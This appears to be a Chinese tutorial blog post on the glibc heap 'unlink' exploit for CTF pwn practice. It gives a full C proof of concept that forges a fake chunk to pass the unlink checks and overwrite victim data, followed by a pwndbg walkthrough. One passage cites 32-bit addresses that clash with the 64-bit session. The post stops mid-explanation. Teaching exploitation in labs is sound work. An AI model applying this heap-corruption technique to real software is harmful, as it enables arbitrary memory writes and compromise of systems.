欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]ctf pwn中的unlink exploit(堆利用)

[原创]ctf pwn中的unlink exploit(堆利用)

unlink简介

unlink的目的是把一个双向链表中的空闲块拿出来,如图(来源ctf-wiki)
[图片:2018-02-28-131218.jpg]
也就是

设置 P->fd->bk = P->bk.

设置 P->bk->fd = P->fd.

unlink时执行的检查

以前的unlink是没有检查的,很容易利用,不过现在多了两项检查,所以在利用时候要绕过这些检查。

Function Security Check Error
unlink chunk size是否等于next chunk(内存意义上的)的prev_size corrupted size vs. prev_size
unlink 检查是否P->fd->bk == P 以及 P->bk->fd == P corrupted double-linked list

unlink exploit

准备

通过一个例子来学习一下,这个例子是Heap Exploitation系列的unlink,为了便于理解,我会用gdb详细的调试一下。
首先,编译程序,我使用的系统是ubuntu14.04 64位,将下面的示例代码编译出来,带上-g参数。

sakura@ubuntu:~$ gcc -g unlink.c -o unlink

unlink.c: In function ‘main’:

unlink.c:46:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘long long unsigned int’ [-Wformat=]

   printf("%x\n", chunk1[3]);

   ^

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <stdio.h>

struct chunk_structure {

  size_t prev_size;

  size_t size;

  struct chunk_structure *fd;

  struct chunk_structure *bk;

  char buf[10];               // padding

};

int main() {

  unsigned long long *chunk1, *chunk2;

  struct chunk_structure *fake_chunk, *chunk2_hdr;

  char data[20];

  // First grab two chunks (non fast)

  chunk1 = malloc(0x80);

  chunk2 = malloc(0x80);

  printf("%p\n", &chunk1);

  printf("%p\n", chunk1);

  printf("%p\n", chunk2);

  // Assuming attacker has control over chunk1's contents

  // Overflow the heap, override chunk2's header

  // First forge a fake chunk starting at chunk1

  // Need to setup fd and bk pointers to pass the unlink security check

  fake_chunk = (struct chunk_structure *)chunk1;

  fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P

  fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

  // Next modify the header of chunk2 to pass all security checks

  chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);

  chunk2_hdr->prev_size = 0x80;  // chunk1's data region size

  chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

  // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'

  // This results in chunk1 pointer pointing to chunk1 - 3

  // i.e. chunk1[3] now contains chunk1 itself.

  // We then make chunk1 point to some victim's data

  free(chunk2);

  printf("%p\n", chunk1);

  printf("%x\n", chunk1[3]);

  chunk1[3] = (unsigned long long)data;

  strcpy(data, "Victim's data");

  // Overwrite victim's data using chunk1

  chunk1[0] = 0x002164656b636168LL;

  printf("%s\n", data);

  return 0;

}

我使用了一个gdb插件pwndbg(应该是插件吧?),需要安装的话。

git clone https://github.com/pwndbg/pwndbg

cd pwndbg

./setup.sh

开始调试

pwndbg> b 20

Breakpoint 1 at 0x400695: file unlink.c, line 20.

pwndbg> r

[图片:2018-02-28-173449.png]

pwndbg> n

这样就开始malloc第一个chunk了,返回的地址放在rax里,然后存到栈里。
[图片:2018-02-28-173700.png]
继续看第二个chunk的地址

pwndbg> n

[图片:2018-02-28-173806.png]
接下来的三条命令其实就是输出我们刚刚调试出来的chunk地址的,所以过掉就行了,不过可以检查一下我们找的是不是对的。

pwndbg> b 25

Breakpoint 2 at 0x4006f3: file unlink.c, line 25.

pwndbg> c

Continuing.

0x7fffffffdd60

0x602010

0x6020a0

然后来详细的说明一下,是怎么unlink exploit的。
假设攻击者已经控制了chunk1的数据,并且可以溢出到chunk2的元数据。
因为我们能够控制chunk1的数据,所以当然可以在chunk1里伪造一个chunk出来。

fake_chunk = (struct chunk_structure *)chunk1;

我们知道,返回给我们的chunk实际上是mem指针,如下图的mem就是chunk1
[图片:2018-02-27-092353.jpg]
通过将chunk1强制转换为struct chunk_structure结构体,就伪造出了一个chunk。
相当于
[图片:2018-02-28-135600.jpg]
然后我们看一下此时的chunk1的内存。

pwndbg> x /10gx 0x602000

0x602000:    0x0000000000000000    0x0000000000000091

0x602010:    0x0000000000000000    0x0000000000000000

0x602020:    0x0000000000000000    0x0000000000000000

0x602030:    0x0000000000000000    0x0000000000000000

0x602040:    0x0000000000000000    0x0000000000000000

再看一下fake_chunk,地址为0xffffcf80,指向0x0804b008(mem)
[图片:2018-02-28-174334.png]

pwndbg> p $rbp-0x40

$1 = (void *) 0x7fffffffdd70

pwndbg> x /x 0x7fffffffdd70

0x7fffffffdd70:    0x0000000000602010

通过检查点1

接下来要确保chunk->fd->bk == chunk

  fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P

如果不熟悉指针加减运算的,可以参考这篇文章
&chunk1是指存放chunk1这个被分配出来的heap的地址的栈地址,即0x7fffffffdd60

pwndbg> stack 10

00:0000│ rsp  0x7fffffffdd60 —? 0x602010 ?— 0x0

01:0008│      0x7fffffffdd68 —? 0x6020a0 ?— 0x0

02:0010│      0x7fffffffdd70 —? 0x602010 ?— 0x0

03:0018│      0x7fffffffdd78 —? 0x40084d (__libc_csu_init+77) ?— add    rbx, 1

04:0020│      0x7fffffffdd80 —? 0x7fffffffddb0 ?— 0x0

05:0028│      0x7fffffffdd88 ?— 0x0

06:0030│      0x7fffffffdd90 —? 0x400800 (__libc_csu_init) ?— push   r15

07:0038│      0x7fffffffdd98 ?— 0xb7dbaa1d9dced400

08:0040│      0x7fffffffdda0 —? 0x7fffffffde90 ?— 0x1

09:0048│      0x7fffffffdda8 ?— 0x0

此时的chunk1

pwndbg> x /10gx 0x602000

0x602000:    0x0000000000000000    0x0000000000000091

0x602010:    0x0000000000000000    0x0000000000000000

0x602020:    0x00007fffffffdd48    0x0000000000000000

0x602030:    0x0000000000000000    0x0000000000000000

0x602040:    0x0000000000000000    0x0000000000000000

接下来要确保chunk->bk->fd == chunk

  fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

此时的chunk1

pwndbg> x /10gx 0x602000

0x602000:    0x0000000000000000    0x0000000000000091

0x602010:    0x0000000000000000<=fake_chunk(mem)    0x0000000000000000

0x602020:    0x00007fffffffdd48<=fake_chunk->fd    0x00007fffffffdd50<=fake_chunk->bk

0x602030:    0x0000000000000000    0x0000000000000000

0x602040:    0x0000000000000000    0x0000000000000000

我相信到这个时候你已经凌乱了,因为我一开始看到这里的时候也挺凌乱的(因为我指针学的不好emmm..)
让我们再理一下。

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功